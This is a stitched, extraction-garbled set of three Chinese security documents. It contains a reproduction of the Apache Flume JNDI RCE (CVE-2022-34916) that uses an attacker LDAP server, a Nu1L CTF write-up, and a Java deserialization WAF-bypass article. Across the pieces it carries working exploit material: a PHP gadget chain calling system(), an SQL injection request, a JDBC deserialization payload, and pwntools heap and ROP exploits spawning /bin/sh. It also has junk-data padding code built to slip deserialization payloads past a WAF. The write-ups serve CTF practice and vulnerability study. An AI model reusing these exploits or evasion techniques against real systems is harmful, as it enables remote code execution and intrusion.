CVE-2022-34916 JNDI命令执 ⾏执⾏漏洞 H1 H2 项⽬介绍 Flume 是⼀种分布式、可靠且可⽤的服务,⽤于⾼效收集、聚合和移动⼤量⽇志数据。它具 有基于流数据流的简单灵活的架构。它具有可调整的可靠性机制以及许多故障转移和恢复机 制,具有健壮性和容错性。它使⽤允许在线分析应⽤程序的简单可扩展数据模型。 H2 项⽬地址 https://flume.apache.org/ H2 漏洞概述 当攻击者控制⽬标 LDAP 服务器时,如果配置使⽤带有 JNDI LDAP 数据源 URI 的 JMS 源, Apache Flume 版本 1.4.0 到 1.10.0 很容易受到远程代码执⾏ (RCE) 攻击。通过将 JNDI 限 制为仅允许使⽤ java 协议或不使⽤协议来解决此问题。[1] H2 影响版本 Apache Flume 1.4.0-1.10.0 H2 环境搭建 下载部署即可 https://archive.apache.org/dist/flume/1.10.0/ H2 漏洞复现 该漏洞需要使⽤ JNDI⼯具辅助复现,可使⽤ JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar ⼯具。 ⼯具链接: https://github.com/welk1n/JNDI-Injection-Exploit 命令如下所示: 终端开启监听,搭建 Flume 项⽬以 jdk1.8 环境运⾏ TestIntegrationActiveMQ 测试类即可 漏洞分析 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator" H2 漏洞分析 查看 commit 能发现新增的校验为了拦截进 else 的 initialContext.lookup(destinationName);这就是这个漏洞的Sink点。 查看该 if-else ,判断 destinationLocator 等于 JMSDestinationLocator.CDI,上溯检查类参数 TestJMSMessageConsumer#testCreateDurableSubscription 初始化了 JMSMessageConsumer 并传⼊ destinationLocator JMSMessageConsumer(......                   String destinationName, JMSDestinationLocator destinationLocator                   ...... destinationLocator 的定义如下所示,为了进⼊ JMSMessageConsumer 的 else 循环,需要 修改该变量为 JNDI destinationName 由 DESTINATION_NAME 定义,需要改为⼯具开启的 ldap链接, JNDI_PREFIX 改为 ldap:// destinationLocator = JMSDestinationLocator.CDI; //改为 jndi 即可 destinationLocator = JMSDestinationLocator.JNDI; //private static final String DESTINATION_NAME = "test"; private static final String DESTINATION_NAME = "x.x.x.x:1389/iq9wuv"; //public static final String JNDI_PREFIX = "dynamicQueues/"; public static final String JNDI_PREFIX = "ldap://"; 该项⽬需要使⽤官⽅提供的Test类作为 source点传⼊参数,Test类中只有 TestIntegrationActiveMQ 类存在 testQueueLocatedWithJndi ,CFG如下所示: 按漏洞复现步骤进⾏复现测试即可 H2 修复⽅式 升级到更⾼版本 参考链接 H2 参考链接 [1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34916 [2] https://issues.apache.org/jira/browse/FLUME-3428 [3] https://github.com/apache/flume/commit/7fe9af49c485756e1b618493a5bc00b70d7fb d2d [4] https://lists.apache.org/thread/qkmt4r2t9tbrxrdbjg1m2oczbvczd9zn
pdf
Writeup - Nu1L Writeup - Nu1L WEB laravel do you know zzm's blog hate-php MISC run loop mc philosopher Welcome to 5space CRYPTO tinysocks rosb PWN pwnme twice of REVERSE nop ManageCode rev WEB lib/webuploader/0.1.5/server/preview.php curl http://119.3.183.154/daochu.php\? type\=1\&imei\=aaa\&imei2\=ttt%22union%20select%201,2,3,4,5,\ (hints\)%20from%20hint%23 hint see_the_dir_956c110ef9decdd920249f5fed9e4427 exp e98a4571cf72b798077d12d6c94629.php http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/serve r/e98a4571cf72b798077d12d6c94629.php?file=/flag flag laravel <?php namespace Symfony\Component\Routing\Loader\Configurator { class ImportConfigurator { private $parent; private $route; public function __construct($parent) { $this->parent = $parent; $this->route = "cat /flag"; do you know curl http://121.36.64.91/index.php? a=%66%69%6c%65:///var/www/html/%66%6c%61%67.php&b=%66%69%6c%65:///var/www/html/%6 6%6c%61%67.php zzm's blog pom.xml commons-collectionsmysql-connector-java com.fasterxml.jackson.core 2.9.8 } } } namespace Faker { class Generator { protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace { $a = new Faker\Generator(array("addCollection" => "system")); $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a); echo urlencode(serialize($b)); } https://webcache.googleusercontent.com/search? q=cache:CMivvJLKcbkJ:https://b1ue.cn/archives/189.html+&cd=1&hl=zh- CN&ct=clnk&gl=us JDBC url MySQL JDBC https://github.com/fnmsd/MySQL_Fake_Server mysql {"id": ["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://ip:port/test? autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatu sDiffInterceptor&user=yso_CommonsCollections7_ping test.com"]} shell hate-php view-source:http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92) (${%a7%ae%ac%ac^%f8%e9%e9%f8}{%a7})&%a7=cat%20flag.php MISC run binwalk -erun.exe tif ps run.exe flag{} loop mc rc4xxtea rc4keyrc4sboxdump strcpy(v12, "run->"); strcpy(&v12[7], "njCp1HJBPLVTxcMhUHDPwE7mPW"); In [46]: s = 'njCp1HJBPLVTxcMhUHDPwE7mPW' In [47]: res = '' In [48]: for i in xrange(len(s)): ...: if i % 2 == 0: ...: res += chr(ord(s[i]) - 1) ...: else: ...: res += chr(ord(s[i]) + 1) ...: import os for i in range(1000): os.system('unzip -o zipfile; tar xf tarfile; sha1sum tarfile') xxteakeyint8 xxteakeyjpgheaderkey #include <stdio.h> #include <string.h> #include <stdlib.h> typedef unsigned int uint32_t; typedef unsigned char uint8_t; void xtea_decipher(unsigned int num_rounds, uint32_t v[2], uint8_t const key[4]) { unsigned int i; uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds; for (i = 0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0] = v0; v[1] = v1; } #define N 256 // 2^8 void swap(unsigned char *a, unsigned char *b) { int tmp = *a; *a = *b; *b = tmp; } int KSA(unsigned char *S) { int len = 256; int j = 0; for(int i = 0; i < N; i++) S[i] = i; for(int i = 0; i < N; i++) { j = (j + S[i] + S[i % len]) % N; swap(&S[i], &S[j]); } return 0; } int PRGA(unsigned char *S, char *plaintext,size_t p_size ,unsigned char *ciphertext) { int i = 0; int j = 0; for(size_t n = 0, len = p_size; n < len; n++) { i = (i + 1) % N; j = (j + S[i]) % N; swap(&S[i], &S[j]); int rnd = S[(S[i] + S[j]) % N]; ciphertext[n] = rnd ^ plaintext[n]; } return 0; } int RC4(char *plaintext,size_t p_size, unsigned char *ciphertext) { unsigned char S[N] = {0x02,0xb0,0x07,0x0c,0x12,0x15,0x0b,0x58, 0x29,0x34,0x28,0x4d,0x17,0x5c,0x75,0x51, 0x53,0xa7,0xba,0xbf,0x03,0xdb,0xf3,0x6b, 0x39,0x96,0x33,0x5b,0x98,0xeb,0xc0,0xd3, 0x84,0x73,0xc9,0x50,0x48,0x9d,0x7f,0x78, 0x40,0xc3,0xb9,0x64,0x92,0xe5,0xf1,0x2b, 0x1c,0x87,0xa1,0x1e,0x24,0xbb,0x3b,0x16, 0xdd,0xb2,0x30,0x91,0xcf,0x71,0x4e,0x8f, 0x32,0x8a,0x5d,0x5f,0x7c,0xec,0x14,0xa8, 0x99,0xad,0x2e,0xab,0xf9,0x1d,0xfb,0xf8, 0xbc,0x82,0x5a,0xed,0x56,0xf7,0xe8,0x31, 0xb4,0x62,0xbe,0x7a,0xbd,0xfa,0xe1,0xb7, 0x88,0x10,0x2d,0x04,0x45,0xe2,0x5e,0x3f, 0xa0,0x72,0xaa,0x52,0x81,0xf4,0x7b,0xb8, 0x7d,0x63,0xac,0x1f,0x0d,0x3d,0x46,0x4b, 0xe0,0x6c,0xa2,0xc6,0xd0,0x8d,0x61,0x8e, 0x94,0x9b,0xa4,0xd8,0xaf,0xb1,0x1a,0x9f, 0x37,0xb5,0xa6,0xce,0x79,0x3a,0x43,0x06, 0x4c,0x6a,0x6e,0xe7,0x90,0x93,0x41,0x38, 0x77,0x0f,0xae,0xb6,0x13,0xf5,0xe6,0xc8, 0x74,0x35,0x67,0x0a,0xc7,0x65,0x6d,0x3e, 0x70,0x59,0xcd,0x57,0xd4,0xea,0x20,0xe4, 0xd2,0x7e,0x26,0x97,0x21,0x18,0xc5,0xe3, 0xd5,0x36,0x9e,0xcb,0xd9,0xf6,0x08,0xc2, 0xf0,0xdc,0x2c,0x83,0xef,0x86,0xda,0x76, 0x0e,0x2f,0xee,0xd7,0x80,0xdf,0x22,0x60, 0xa5,0x1b,0x05,0x19,0xcc,0x68,0xa9,0x49, 0x4a,0xa3,0x27,0xde,0xf2,0x09,0x89,0x3c, 0x85,0x9a,0xc1,0x54,0x25,0xc4,0xe9,0x8b, 0x44,0x2a,0x01,0x6f,0x00,0xfe,0xff,0x47, 0x42,0x66,0xca,0x23,0xd6,0x11,0x8c,0xfc, 0xd1,0x4f,0x95,0xb3,0x9c,0x69,0xfd,0x55}; // KSA(S); PRGA(S, plaintext, p_size,ciphertext); return 0; } void main() { FILE *inf = fopen("jpg.mugatu", "rb"); FILE *out = fopen("mugatu.jpg", "wb"); uint8_t key[] = {0x31,0x35,0x39,0x63}; fseek(inf, 0, SEEK_END); int file_size = ftell(inf); rewind(inf); int remaining = file_size; unsigned char * res = malloc(file_size + 0x100); unsigned char * res2 = malloc(file_size + 0x100); uint32_t* t = res; uint32_t ct[2]; size_t i = 0; while (remaining > 8) { fread(ct, sizeof(uint32_t), 2, inf); xtea_decipher(32, ct, key); // fwrite(ct, sizeof(uint32_t), 2, out); t[i++] = ct[0]; t[i++] = ct[1]; remaining -= 8; } if (remaining > 0) { fread(&t[i], remaining, 1, inf); } RC4(res,file_size,res2); fwrite(res2,file_size,1,out); fclose(inf); fclose(out); } // // int main() // { // // uint8_t test[16] = {0}; // // uint8_t test_out[16] = {0}; // // RC4(&test,16,&test_out); // // for(int i=0;i<16;i++) // // { // // printf("%02x",test_out[i]); // // fflush(stdout); // // } // for (uint8_t k1 = 0x20; k1 < 0x7f; k1++) // { // for (uint8_t k2 = 0x20; k2 < 0x7f; k2++) // { // for (uint8_t k3 = 0x20; k3 < 0x7f; k3++) // { // for (uint8_t k4 = 0x20; k4 < 0x7f; k4++) // { // // First 8 bytes of best.gif.Mugatu // uint32_t ct[] = {1223453610, 3659015887}; // uint8_t key[] = {k4, k1, k2, k3}; // uint32_t a[2] ={0}; // xtea_decipher(32, ct, key); // RC4(&ct,16,&a); // if (a[0] == 3774863615) //GIF // { // printf("Key bytes %x %x %x %x\n",k4, k1, k2, k3); // return 0; // } // } // } // } // } // return -1; // } philosopher https://s.threatbook.cn/ https://www.xiazaiba.com/html/2983.html 16pngpng Welcome to 5space CRYPTO tinysocks from scapy.packet import Raw from scapy.all import rdpcap import socket import struct import time packets = rdpcap("target.pcapng") pkg_send, pkg_recv = None, None for p in packets: if p['TCP'] and p['TCP'].dport == 1080 and isinstance(p['TCP'].payload, Raw): pkg_send = p if p['TCP'] and p['TCP'].sport == 1080 and isinstance(p['TCP'].payload, Raw): pkg_recv = p send_data = pkg_send['TCP'].payload.load recv_data = pkg_recv['TCP'].payload.load predict_data = b"HTTP/1.1" predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))]) target_ip = "118.24.185.108" target_port = 1083 fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port)) fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))]) fake_data = fake_header + recv_data[len(fake_header):] print(fake_data.hex()) s = socket.socket() s.connect(("121.36.47.205", 1080)) s.send(fake_data) print('Tcp sending… ') print(s.recv(1024)) time.sleep(3) s.close() rosb PWN pwnme armpwneditheap freegot system from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime from gmpy2 import gcdext, invert n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3 dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba 52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16 147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795 d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c6 49725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042 d96489a08d885f448ece8f7f254067dfff0c4e72a63557L e1 = 0xf4c1158fL e2 = 0xf493f7d1L c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c5 16657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0 e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b 5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e2 56bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283 e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6 bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707L c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c 1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f 1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed7 0144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7c af2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc 59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e7 7e68380397eee6ffbc36f6cc734815cd4065dc73dcbcbL _, s1, s2 = gcdext(e1, e2) s2 = -s2 c2 = invert(c2, n) m = (pow(c1, s1, n) * pow(c2, s2, n)) % n print(long_to_bytes(m)[:-64]) from pwn import * context.log_level = 'debug' # p = process(["qemu-arm","-L",".","-g","6666","./a.out"]) twice canary putslibcreadrop p = remote('121.36.58.215', 1337) def add(s,c): p.sendlineafter('>>> ','2') p.sendlineafter('Length',str(s)) p.sendafter('Tag',c) def show(): p.sendlineafter('>>> ','1') def edit(i,s,c): p.sendlineafter('>>> ','3') p.sendlineafter('Index',str(i)) p.sendlineafter('Length',str(s)) p.sendafter('Tag',c) def delete(i): p.sendlineafter('>>> ','4') p.sendafter('Tag',str(i)) add(0x70,'aaa') add(0x70,'aaa') add(0x70,'aaa') add(0x70,'aaa') add(0x70,'aaa') delete(3) delete(1) edit(0,40,p32(0x00021038) * 5 + p32(0x2106C + 8) * 5) indexo = (0x22018 - 0x2106C)/8 + 2 edit(indexo + 2,4,p32(0x021038)) show() p.recvuntil('1 : ') leak_libc = u32(p.recv(4)) log.info('leak libc ' + hex(leak_libc)) sys_addr = (0x51800 - 0x4A55C) + leak_libc edit(indexo,4,p32(sys_addr)) edit(0,8,'/bin/sh\x00') delete(0) p.interactive() from pwn import * of free0uafdeleteedit 600 overlapunsorted binlibctcache attackfree_hooksystem # p = process('./pwn') p = remote('121.36.59.116', 9999) context.log_level = 'debug' def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) def call_func(call_addr, p1, p2, p3): pl = "" pl += p64(0x40091A) pl += p64(0) pl += p64(1) pl += p64(call_addr) pl += p64(p1)+p64(p2)+p64(p3) pl += p64(0x400900) return pl # launch_gdb() p.sendafter('>','a'*89) p.recvuntil('a'*89) leak = '\x00' + p.recv(7) canary = u64(leak) leak_stack = u64(p.recv(6) + '\x00' * 2) log.info('leak ' + hex(canary) + ' ' + hex(leak_stack)) payload = p64(0x0000000000400923) + p64(0x601020) # rdi payload += p64(0x4005C0) payload += call_func(0x601038,0x100,leak_stack-112,0) p.sendafter('>',payload.ljust(88,'a') + p64(canary) + p64(leak_stack-112-8) + p64(0x400879)) p.recvline() leak_puts = u64(p.recv(6) + '\x00' * 2) log.info('leak libc ' + hex(leak_puts)) sys_addr = leak_puts - 172800 p.send(p64(0x40087A) * 12 +p64(0x0000000000400923)+ p64(1169095+leak_puts)+p64(sys_addr)) p.interactive() from pwn import * p = remote('121.36.74.70', 9999) # p = process('./of') def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) def add(i): p.sendlineafter('Your choice: ','1') p.sendlineafter('Index: ',str(i)) def dele(i): p.sendlineafter('Your choice: ','4') p.sendlineafter('Index: ',str(i)) def edit(i,c): p.sendlineafter('Your choice: ','2') p.sendlineafter('Index: ',str(i)) p.sendafter('Content:',c) def show(i): p.sendlineafter('Your choice: ','3') p.sendlineafter('Index: ',str(i)) # p.recvuntil('Content: ') def leak_addr(s): p.recvuntil('Content: ') t = u64(p.recv(6).ljust(8,'\x00')) log.info('leak ' + s + ' ' + hex(t)) return t ''' count = 0 cookie = '' while len(cookie) != 8: for i in xrange(0,0x100): add(0) count += 1 edit(0,'a'*(0x100 - 8) + cookie + chr(i)) show(0) s = p.recv('4') if s == 'Cont': log.info('leak cookie ' + hex(i)) cookie += chr(i) break context.log_level = 'debug' REVERSE launch_gdb() log.info('cookie ' + hex(u64(cookie))) log.info('count ' + hex(count)) add(1) add(2) dele(0) dele(1) dele(2) add(3) show(2) leak_heap = leak_addr('heap') ''' add(0) add(1) add(2) dele(0) dele(1) show(1) leak_heap = leak_addr('heap') edit(1,chr(0x90 - 0x18)) add(0) add(0) show(1) p.recvuntil('Content: ') leak_cookie = u64(p.recv(8)) log.info('leak cookie ' + hex(leak_cookie)) for i in xrange(5): add(3) add(4) edit(4,'/bin/sh\x00') edit(0,'a'*(0x100-0x18) + p64(0) + p64(1632 + 1)) dele(1) show(1) leak_lib = leak_addr('libc') - 4111520 free_hook = leak_lib + 4118760 sys_addr = 324672 + leak_lib dele(3) dele(3) edit(3,p64(free_hook)) add(3) add(3) edit(3,p64(sys_addr)) dele(4) p.interactive() REVERSE nop 3++0x33333334 0x90nop2 0x8048765noprightflag0x8048765 + 0x33333334 - 3 = 993507990 ManageCode 32dnspy flag chk_689flag sunhex dnspy 0x0011E050z3 // Token: 0x0600015F RID: 351 RVA: 0x0011EC50 File Offset: 0x0011E050 [SuppressUnmanagedCodeSecurity] [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig)] [return: MarshalAs(UnmanagedType.U1)] internal unsafe static extern bool chk_689(void*); from z3 import * a1 = [] so = Solver() for i in xrange(16): t = Int('a' + str(i)) a1.append(t) v1 = 1 v2 = a1[0] v3 = a1[1] v32 = v3 so.add ( -316449 * v2 == -23100777 ) v1 = 0 v4 = a1[2] v31 = v4 so.add ( 28867 * v2 - 179921 * v3 == -9947416 ) v1 = 0 v5 = 126859 * v3 v6 = a1[3] v7 = a1[4] v30 = v7 v29 = v6 so.add ( v5 + 489373 * v4 - 512292 * v2 == -2960994 ) v1 = 0 so.add ( -344274 * v32 - 508389 * v6 - 473144 * v2 - 433062 * v4 == -98351771 ) v1 = 0 so.add ( 197235 * v32 + 427693 * v7 + 174092 * v4 + 81427 * v2 - 392963 * v6 == 54835229 ) v1 = 0 v8 = a1[5] v28 = v8 so.add ( 457087 * v8 + 163494 * v7 + 237851 * v6 - 79045 * v2 - 166737 * v31 - 285408 * v32 == 74067547 ) v1 = 0 v9 = a1[6] v26 = v9 so.add ( 325399 * v2 + 107968 * v30 + 110115 * v8 + 344269 * v32 - 244676 * v6 - 432610 * v9 - 451571 * v31 == -39625571 ) v1 = 0 v10 = a1[7] v27 = v10 so.add ( 256702 * v2+ 456215 * v10+ 195927 * v9+ 135821 * v31+ -496118 * v29- 273457 * v32- 230971 * v30- 122078 * v8 == 26255929 ) v1 = 0 v11 = a1[8] v25 = v11 v12 = 188190 * v10 v13 = v1 so.add ( 90852 * v9+ 34784 * v29+ 402352 * v31+ 443909 * v32- 179169 * v30- 438770 * v28- 303198 * v11- 458201 * v2- v12 == -97439054 ) v13 = 0 v14 = a1[9] v24 = v14 so.add ( -118512 * v29- 280306 * v26+ 310103 * v14+ 90092 * v31+ 354664 * v30+ 430186 * v27+ 103532 * v11- 303889 * v28- 271187 * v32- 487658 * v2 == -45515934 ) v13 = 0 v15 = a1[10] v23 = v15 so.add ( 277953 * v15+ 417783 * v25+ -289178 * v14- 332754 * v2- 357755 * v26+ 267851 * v32+ 365113 * v29+ 369246 * v30+ 140538 * v28- 227356 * v31- 116588 * v27 == -24522897 ) v13 = 0 v16 = a1[11] v22 = v16 so.add ( 85829 * v31+ 380274 * v29+ 246398 * v27+ 195467 * v32+ 526058 * v2+ -492206 * v28- 29780 * v24+ 393393 * v15+ 4388 * v16- 242931 * v26- 40503 * v25- 291417 * v30 == -63793655 ) v13 = 0 v17 = a1[12] v21 = v17 so.add ( -141640 * v23- 349315 * v32+ 377657 * v27+ 508780 * v24+ 275049 * v17+ -100899 * v2- 362103 * v26- 523986 * v31- 193451 * v28+ 520438 * v16+ 362629 * v25+ -402331 * v29- 499947 * v30 == -8636091 ) v13 = 0 v18 = a1[13] so.add ( 506434 * v27+ -205391 * v22- 509443 * v25+ 503583 * v18+ 519628 * v31+ 418301 * v26+ 287211 * v24+ 511783 * v17+ 64138 * v23+ 273565 * v2+ 336327 * v28+ 468869 * v30+ 308594 * v29- 337132 * v32 == 357077926 ) v13 = 0 v19 = a1[14] so.add ( 344208 * v27+ 437413 * v18+ 444218 * v23+ 83350 * v21+ 345577 * v19+ 4868 * v2+ -520705 * v24- 25797 * v22+ 269631 * v28+ 142442 * v26+ 278333 * v31- 15838 * v32- 298360 * v25- 295120 * v30- 150621 * v29 == 94016389 ) v13 = 0 result = v13 rev so.add ( 208574 * v24+ 114846 * v26+ 306988 * v19+ -188694 * v25- 416583 * v23- 520716 * v30+ 522362 * v28+ -101887 * v2- 331092 * v32+ 273016 * v31+ 109088 * v29+ 107571 * v27+ 6306 * v22- 319867 * a1[15]- 3532 * v21- 300974 * v18 == 48326038 ) print(so.check()) m = so.model() res = '' for i in a1: res += chr(m[i].as_long()) print(res.encode('hex')) import angr,claripy project = angr.Project("rev_v2") argv1 = claripy.BVS("argv1",100*8) initial_state = project.factory.entry_state(args=["./rev_v2",argv1]) simulation = project.factory.simgr(initial_state) simulation.explore(find=0x400481) found = simulation.found[0] solution = found.solver.eval(argv1, cast_to=bytes) print(repr(solution)) solution = solution[:solution.find(b"\x00")] print(solution) #include <cstdio> #include <cstring> #include <cstdlib> #include <algorithm> using namespace std; unsigned char s[100] = {100, 36, 13, 111, 36, 38, 140, 217, 24, 7, 175, 234, 79, 58, 31, 92}; unsigned char t[100] = {0}; unsigned char dest[100] = {0}; char ans[100] = {0}; int main() { for (int j = 0; j < 4; j++) { for (unsigned char a1 = 32; a1 < 127; a1++) for (unsigned char a2 = 32; a2 < 127; a2++) for (unsigned char a3 = 32; a3 < 127; a3++) for (unsigned char a4 = 32; a4 < 127; a4++) { t[0] = a1; t[1] = a2; t[2] = a3; t[3] = a4; for (int i = 0; i < 4; i++) { unsigned char a = t[i]; unsigned char b = 2 * a; if (a & 0x80) { b = 2 * a ^ 0x1b; } unsigned char c = t[(i + 1) % 4]; unsigned char d = c ^ 2 * c; if (c & 0x80) { d = 2 * c ^ c ^ 0x1b; } unsigned char e = t[(i + 2) % 4]; dest[i] = b ^ d ^ e ^ t[(i + 3) % 4]; } if (!memcmp(dest, s + j * 4, 4)) { goto GG; } } GG: for (int i = 0; i < 4; i++) { ans[i * 4 + j] = t[i]; } } printf("%s\n", ans); return 0; }
pdf
1 反序列化脏数据 Java反序列化数据绕WAF之加⼤量脏数据 https://mp.weixin.qq.com/s/wvKfe4xxNXWEgtQE4PdTaQ 其实就是再最外层封装⼀层,只要该类有对象属性,⼀般来说在反序列化的时候都会试着调⽤该属性的 readObject去还原他。所以我们要找的class,第⼀需要实现java.io.Serializable接⼝,第⼆可以存储任 意对象。这么看来集合类型就⾮常符合我们的需求。 如 1. ArrayList 2. LinkedList 3. HashMap 4. LinkedHashMap 5. TreeMap 这个思路是基于@Y4tacker师傅做的扩展,源头总体来说还是这篇⽂章 https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA 如上⽅法还是正常封装,⽽java反序列化,在ObjectInputStream#readSerialData中,有⼀个逻辑,即 使某块数据反序列化失败,仍然可以继续下⼀块数据的反序列化,⽐如LinkedList.add添加多个,每个 脏数据1.0 脏数据2.0 Java 复制代码 List<Object> a = new LinkedList<Object>(); a.add(new FindClassByDNS().makeClass("TargetClass")); a.add(new URLDNS().getObject("http://1234.z6lh5t.dnslog.cn", null)); 1 2 3 2 对象不影响下个对象反序列化。如下图是个⼤的for循环。 ⽽skipCustomData应该是⽤于处理⼀些⾃定义数据,120(0x78)是块数据结束符。下图是jdk1.6的 3 这是jdk1.8,对⽐多个版本主要是确认119和121是否都是⽆操作,⽬前看来只有119(0x77)即 TC_BLOCKDATA是空操作,那么就可以在块中插⼊脏数据0x77。 4 调试发现 this.readObject0(false) 会调⽤下⼀个序列化数据,⽽该bin.peekByte读取的是 0x73, 5 尝试插⼊⼀字节测试 发现在readBlockHeader⾥报错了 6 原来这⾥也会读取到119,那么这个字节就不能⽤了。 其实根据这个思路,可以找⼀些其他位置或其他字符来测试。 7 简单看了下,发现0x70表示Null,⽽ 并且原来这⾥0x78后⾯也是112(0x70 TC_NULL) 8 所以尝试插⼊,发现可以了,可以继续反序列化hashmap了(这⾥测试的是URLDNS),后续就是正常 过程了。 仔细跟踪了下, readBlockHeader ⾥如果是112(0x70 TC_NULL),那么就和不插⼊⼀样,正常进⾏ 后续解析。 9 readBlockHeader 是在 this.bin.skipBlockData() ⾥,⼀般只会执⾏⼀次。然后 this.re adObject0(false) ⾥的switch判断类型,如果是112(0x70 TC_NULL)也就跳过不处理,继续后续 处理。 10 11 绕过119(0x77 TC_BLOCKDATA)的报错了,那么我突然想在这后⾯再插⼊119(0x77 TC_BLOCKDATA)是不是也⾏。- -傻逼了,go写多了,case 119没有break,会步⼊122,那么就会继 续解析之前的blockheader。到这突然⼜想到,那么我在0x77后⾯再插⼊0x70是不是就⼜绕回来了。 这⾥出现了⼀个误解,peekByte是不会移动数据流的pos的,只有read、readFull等等才会,所以这⾥ 没有⽤的。 12 ⽬前看来只能插⼊0x70了 13 其他字节能否有同样效果,可以找下skipCustomData() ⾥的解析⽅法, skipBlockData()->readB lockHeader() 和 readObject0() 总结下有两个新的⽅案 1. 填充⼤量null代表的\x70 14 2. 填充⼤量不存在的class,这个其实想填充啥填充啥 Java 复制代码 // 通过LinkedList插⼊count个\x70 public  byte[] junkDataWithNull70(Object obj,int count) throws  Exception {    // 插⼊不存在的class    List<Object> list = new LinkedList<Object>();    list.add(this.makeClass(RandomStringUtils.randomAlphabetic(10) + System.nanoTime()));    list.add(obj);    // 序列化    byte[] serBytes = Serializer.serialize(list);    // 插⼊脏数据    String key = new String(new byte[]{0x78,0x70,0x73,0x72}, "ISO-8859- 1");    String serStr = new String(serBytes, "ISO-8859-1");    String junkData = Strings.repeat("p",count);    int pos = serStr.indexOf(key) + 2;    serStr = serStr.substring(0, pos) +  junkData  + serStr.substring(pos);    serBytes = serStr.getBytes("ISO-8859-1");    return serBytes; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 15 或者把上⾯两种结合⼀下 Java 复制代码 // 通过LinkedList插⼊count个不存在的class public  byte[] junkDataWithCls(Object obj,int count) throws  Exception {    // 插⼊不存在的class    List<Object> list = new LinkedList<Object>();    for (int i=0; i < count; i++) {        list.add(this.makeClass(RandomStringUtils.randomAlphabetic(10) + System.nanoTime()));   }    list.add(obj);    // 序列化    byte[] serBytes = Serializer.serialize(list);    return serBytes; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Java 复制代码 // 通过LinkedList插⼊count个不存在的class,并插⼊100*count个\x70 public  byte[] junkDataWithClsAndNull70(Object obj,int count) throws  Exception {    // 插⼊不存在的class    List<Object> list = new LinkedList<Object>();    for (int i=0; i < count; i++) {        list.add(this.makeClass(RandomStringUtils.randomAlphabetic(10) + System.nanoTime()));   }    list.add(obj);    // 序列化    byte[] serBytes = Serializer.serialize(list);    // 插⼊脏数据    String key = new String(new byte[]{0x78,0x70,0x73,0x72}, "ISO-8859- 1");    String serStr = new String(serBytes, "ISO-8859-1");    String junkData = Strings.repeat("p",count*100);    int pos = serStr.indexOf(key) + 2;    serStr = serStr.substring(0, pos) +  junkData  + serStr.substring(pos);    serBytes = serStr.getBytes("ISO-8859-1");    return serBytes; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 17 测试效果如下,填充100个class和1W个\x70,
pdf
